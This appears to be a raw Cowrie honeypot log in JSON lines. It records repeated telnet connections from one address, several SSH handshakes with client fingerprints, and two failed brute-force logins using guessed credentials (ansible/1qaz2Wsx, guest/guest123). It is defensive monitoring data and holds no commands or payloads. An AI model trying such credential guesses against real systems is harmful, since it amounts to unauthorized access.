{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38204,"dst_ip":"10.17.0.5","dst_port":23,"session":"7992665646df","protocol":"telnet","message":"New connection: 185.111.235.80:38204 (10.17.0.5:23) [session: 7992665646df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.568418Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a45f2355a1","protocol":"telnet","message":"New connection: 185.111.235.80:38502 (10.17.0.5:23) [session: b5a45f2355a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.623489Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6a4efe2586","protocol":"telnet","message":"New connection: 185.111.235.80:39374 (10.17.0.5:23) [session: 9b6a4efe2586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.873741Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.892243Z","src_ip":"176.65.139.103","session":"25a4249f32b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58fab4535ab","protocol":"telnet","message":"New connection: 185.111.235.80:40682 (10.17.0.5:23) [session: d58fab4535ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:16.147058Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cb328e3b58d","protocol":"telnet","message":"New connection: 185.111.235.80:41440 (10.17.0.5:23) [session: 5cb328e3b58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:16.278286Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37100,"dst_ip":"10.17.0.5","dst_port":23,"session":"787484859980","protocol":"telnet","message":"New connection: 185.111.235.80:37100 (10.17.0.5:23) [session: 787484859980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:16.332331Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"125db8b14d31","protocol":"telnet","message":"New connection: 185.111.235.80:42236 (10.17.0.5:23) [session: 125db8b14d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:16.433252Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45946,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e84487b893","protocol":"telnet","message":"New connection: 117.120.7.112:45946 (159.203.135.109:23) [session: d2e84487b893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:16.602193Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45164,"dst_ip":"10.17.0.5","dst_port":23,"session":"063c4b910c1e","protocol":"telnet","message":"New connection: 185.111.235.80:45164 (10.17.0.5:23) [session: 063c4b910c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.066332Z"}
{"eventid":"cowrie.session.closed","duration":30.991764783859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.081726Z","src_ip":"185.111.235.80","session":"3f8aff4ffac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01392149925232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.197211Z","src_ip":"185.111.235.80","session":"072d1935231c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46128,"dst_ip":"10.17.0.5","dst_port":23,"session":"396087d2edf9","protocol":"telnet","message":"New connection: 185.111.235.80:46128 (10.17.0.5:23) [session: 396087d2edf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.202732Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46494,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e00c1598db","protocol":"telnet","message":"New connection: 185.111.235.80:46494 (10.17.0.5:23) [session: 26e00c1598db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.257502Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc486d42feb1","protocol":"telnet","message":"New connection: 185.111.235.80:46770 (10.17.0.5:23) [session: bc486d42feb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.302261Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0204290b25","protocol":"telnet","message":"New connection: 185.111.235.80:46786 (10.17.0.5:23) [session: 8f0204290b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.309236Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48956,"dst_ip":"10.17.0.5","dst_port":23,"session":"11863ae25836","protocol":"telnet","message":"New connection: 185.111.235.80:48956 (10.17.0.5:23) [session: 11863ae25836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.807062Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b714739112a9","protocol":"telnet","message":"New connection: 185.111.235.80:49656 (10.17.0.5:23) [session: b714739112a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:17.983881Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51028,"dst_ip":"159.203.135.109","dst_port":22,"session":"97de9a23dc8b","protocol":"ssh","message":"New connection: 159.203.92.129:51028 (159.203.135.109:22) [session: 97de9a23dc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.170818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.176092Z","src_ip":"159.203.92.129","session":"97de9a23dc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.181971Z","src_ip":"159.203.92.129","session":"97de9a23dc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz2Wsx","message":"login attempt [ansible/1qaz2Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.194528Z","src_ip":"159.203.92.129","session":"97de9a23dc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.684826374053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.243874Z","src_ip":"117.120.7.112","session":"55eadcbd375b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52068,"dst_ip":"10.17.0.5","dst_port":23,"session":"527bac6b1995","protocol":"telnet","message":"New connection: 185.111.235.80:52068 (10.17.0.5:23) [session: 527bac6b1995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.405053Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52514,"dst_ip":"10.17.0.5","dst_port":23,"session":"669cf9c3bed9","protocol":"telnet","message":"New connection: 185.111.235.80:52514 (10.17.0.5:23) [session: 669cf9c3bed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.510430Z"}
{"eventid":"cowrie.session.closed","duration":31.019148111343384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:18.737236Z","src_ip":"117.120.7.112","session":"74cb22f683bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55108,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6180ed0dc61","protocol":"telnet","message":"New connection: 185.111.235.80:55108 (10.17.0.5:23) [session: d6180ed0dc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.110591Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50694,"dst_ip":"10.17.0.5","dst_port":23,"session":"4377ba7e52a5","protocol":"telnet","message":"New connection: 185.111.235.80:50694 (10.17.0.5:23) [session: 4377ba7e52a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.183732Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.200458Z","src_ip":"159.203.92.129","session":"97de9a23dc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56094,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1bacefc1fb","protocol":"telnet","message":"New connection: 185.111.235.80:56094 (10.17.0.5:23) [session: 0f1bacefc1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.283343Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ced79947f2","protocol":"telnet","message":"New connection: 185.111.235.80:56224 (10.17.0.5:23) [session: b4ced79947f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.304314Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1088d414de","protocol":"telnet","message":"New connection: 185.111.235.80:57168 (10.17.0.5:23) [session: 1a1088d414de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.540843Z"}
{"eventid":"cowrie.session.closed","duration":30.348444938659668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:19.952366Z","src_ip":"185.111.235.80","session":"93e369b97d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"179782eca788","protocol":"telnet","message":"New connection: 185.111.235.80:45328 (10.17.0.5:23) [session: 179782eca788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.094300Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54984,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f300cbc8455","protocol":"telnet","message":"New connection: 185.111.235.80:54984 (10.17.0.5:23) [session: 5f300cbc8455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.103750Z"}
{"eventid":"cowrie.session.closed","duration":30.595755577087402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.230687Z","src_ip":"185.111.235.80","session":"6ece52bfc093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba37a29f8d08","protocol":"telnet","message":"New connection: 185.111.235.80:60414 (10.17.0.5:23) [session: ba37a29f8d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.236333Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"6071040708a2","protocol":"telnet","message":"New connection: 185.111.235.80:34082 (10.17.0.5:23) [session: 6071040708a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.626504Z"}
{"eventid":"cowrie.session.closed","duration":30.792695999145508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.918837Z","src_ip":"185.111.235.80","session":"d0fa19b2625f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35582,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b926f695c2","protocol":"telnet","message":"New connection: 185.111.235.80:35582 (10.17.0.5:23) [session: b8b926f695c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:20.985722Z"}
{"eventid":"cowrie.session.closed","duration":30.18947958946228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.062147Z","src_ip":"108.61.242.114","session":"0d61d02573f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36516,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c00bb842d7","protocol":"telnet","message":"New connection: 185.111.235.80:36516 (10.17.0.5:23) [session: 82c00bb842d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.140406Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50452,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e53865de3a1","protocol":"ssh","message":"New connection: 176.65.139.103:50452 (10.17.0.5:22) [session: 6e53865de3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.168313Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee10eb231e91","protocol":"telnet","message":"New connection: 185.111.235.80:37134 (10.17.0.5:23) [session: ee10eb231e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.237593Z"}
{"eventid":"cowrie.session.closed","duration":30.78294324874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.281316Z","src_ip":"117.120.7.112","session":"b1e63ae9e8aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37414,"dst_ip":"10.17.0.5","dst_port":23,"session":"b76f8943c180","protocol":"telnet","message":"New connection: 185.111.235.80:37414 (10.17.0.5:23) [session: b76f8943c180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.286654Z"}
{"eventid":"cowrie.session.closed","duration":30.92577600479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.297214Z","src_ip":"185.111.235.80","session":"996258c176c6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.350410Z","src_ip":"176.65.139.103","session":"6e53865de3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.353795Z","src_ip":"176.65.139.103","session":"6e53865de3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d699b5ad5fc","protocol":"telnet","message":"New connection: 185.111.235.80:52372 (10.17.0.5:23) [session: 6d699b5ad5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.473054Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38590,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b3a0656ffa","protocol":"telnet","message":"New connection: 185.111.235.80:38590 (10.17.0.5:23) [session: a6b3a0656ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.515400Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38866,"dst_ip":"10.17.0.5","dst_port":23,"session":"838e8852fa9b","protocol":"telnet","message":"New connection: 185.111.235.80:38866 (10.17.0.5:23) [session: 838e8852fa9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.586788Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.961463Z","src_ip":"176.65.139.103","session":"6e53865de3a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.30726981163025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:21.997370Z","src_ip":"185.111.235.80","session":"0aa2ecc17ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83333468437195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.002368Z","src_ip":"185.111.235.80","session":"eae419bee7ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852555513381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.158563Z","src_ip":"185.111.235.80","session":"9f8d545b30c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41478,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f53ee0ff41","protocol":"telnet","message":"New connection: 185.111.235.80:41478 (10.17.0.5:23) [session: e8f53ee0ff41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.167405Z"}
{"eventid":"cowrie.session.closed","duration":31.12837505340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.229856Z","src_ip":"185.111.235.80","session":"9eacded40f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42714,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae722df904a","protocol":"telnet","message":"New connection: 185.111.235.80:42714 (10.17.0.5:23) [session: cae722df904a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.421225Z"}
{"eventid":"cowrie.session.closed","duration":31.53670358657837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.596998Z","src_ip":"185.111.235.80","session":"bb45287e22d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53197,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae4433e52a4","protocol":"telnet","message":"New connection: 185.111.235.80:53197 (10.17.0.5:23) [session: 9ae4433e52a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.667375Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43927,"dst_ip":"10.17.0.5","dst_port":23,"session":"47774c4ca664","protocol":"telnet","message":"New connection: 185.111.235.80:43927 (10.17.0.5:23) [session: 47774c4ca664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.690794Z"}
{"eventid":"cowrie.session.closed","duration":30.650633335113525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.967828Z","src_ip":"185.111.235.80","session":"d921c10a4e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874730110168457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:22.989499Z","src_ip":"185.111.235.80","session":"c3edc42b0f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecb2e80612d","protocol":"telnet","message":"New connection: 185.111.235.80:40528 (10.17.0.5:23) [session: eecb2e80612d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.010499Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.046194Z","src_ip":"176.65.139.103","session":"6e53865de3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"695a14b94ca7","protocol":"telnet","message":"New connection: 185.111.235.80:42044 (10.17.0.5:23) [session: 695a14b94ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.257742Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47754,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e6041586f6","protocol":"telnet","message":"New connection: 185.111.235.80:47754 (10.17.0.5:23) [session: 77e6041586f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:23.501833Z"}
